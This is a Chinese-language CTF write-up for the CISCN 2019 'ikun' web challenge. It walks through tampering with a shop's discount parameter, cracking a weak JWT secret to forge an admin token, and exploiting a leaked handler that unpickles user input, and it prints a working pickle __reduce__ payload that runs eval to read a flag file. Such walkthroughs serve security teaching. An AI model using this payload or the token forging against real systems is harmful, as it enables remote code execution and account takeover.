CISCN 2019-ikun

0x01

进去网址,页面如下:

CISCN 2019-ikun_第1张图片

刚开始有个登陆和注册的按钮,上图是我已经注册后登陆成功后的页面,我们发现在图的左下角给了一个关键的提示,购买LV6,通过寻找我们发现页面数很多,大概500页,一个一个找不是办法,所以我们用脚本去寻找LV6所在页面,脚本如下:

import requests

r = requests.session()
url = "http://220.249.52.133:52610/shop?page="
for i in range(0,500):
    re = r.get(url+str(i))
    if "lv6.png" in re.text:
        print(i)
        break

输出结果如下:

CISCN 2019-ikun_第2张图片

那么我们知道了LV6在page=180,所以我们直接过去,购买它!

0x02

CISCN 2019-ikun_第3张图片

我们点击购买,发现太贵!我们注册的账号余额仅仅有10元,那看来如果要购买这里肯定有逻辑漏洞,我们抓包看看

CISCN 2019-ikun_第4张图片

通过尝试,直接修改价格不成功,最后发现修改打折的折扣会成功,结果如下图:

CISCN 2019-ikun_第5张图片

提示我们只有admin允许访问,那看来在包中肯定有代表身份的内容,经过查找,包中的JWT表示的正是身份,由于我们注册的账户肯定不是admin,所以我们必须使用admin的身份才能进入到页面。

JWT web Token是常见的一种加密方式,通常有用户名和私钥,通过将自己的JWT进行解密,JWT解密加密网站 https://jwt.io/ 我们发现它的格式就是用户名为公钥,密码为私钥,用户名我们知道了,就是admin,那么接下来就是爆破密码,下面提供github上一个穷举爆破密码的

https://github.com/brendan-rius/c-jwt-cracker

爆破出密码为:1Kun

那么我们利用密码再去进行JWT加密,得到如下结果:

CISCN 2019-ikun_第6张图片

然后复制编码的内容,再粘贴到包中的JWT位置,这样我们就可以成功进入

CISCN 2019-ikun_第7张图片

返回结果如下:

CISCN 2019-ikun_第8张图片

发现有一个按钮,点击,没反应,然后我们先查看一下源码:

CISCN 2019-ikun_第9张图片

发现源码泄露,我们把它下载下来,解压看看有没有什么有用的东西,最终在Admin.py中发现了有用的东西

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

这里存在python的反序列化,主要地方在于我们可以修改become这个参数,python中pickle可以让类自定义它们的行为,其中一个方式就是__reduce__(self)

reduce(self)

当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。 reduce 被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选);
那么我们写出反序列化脚本:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))    

a = pickle.dumps(payload())  
a = urllib.quote(a)  
print a

这是python2的,运行结果如下:

CISCN 2019-ikun_第10张图片

0x03

那么接下来我们利用这段反序列化url编码修改become参数,得到我们想要的内容,开启抓包功能,点击“一键获得大会员”按钮。

CISCN 2019-ikun_第11张图片

CISCN 2019-ikun_第12张图片

得到flag

总结:这里重要学到的就是python的反序列化,还涉及到了购物逻辑漏洞,身份验证等知识点

你可能感兴趣的:(CTF—web)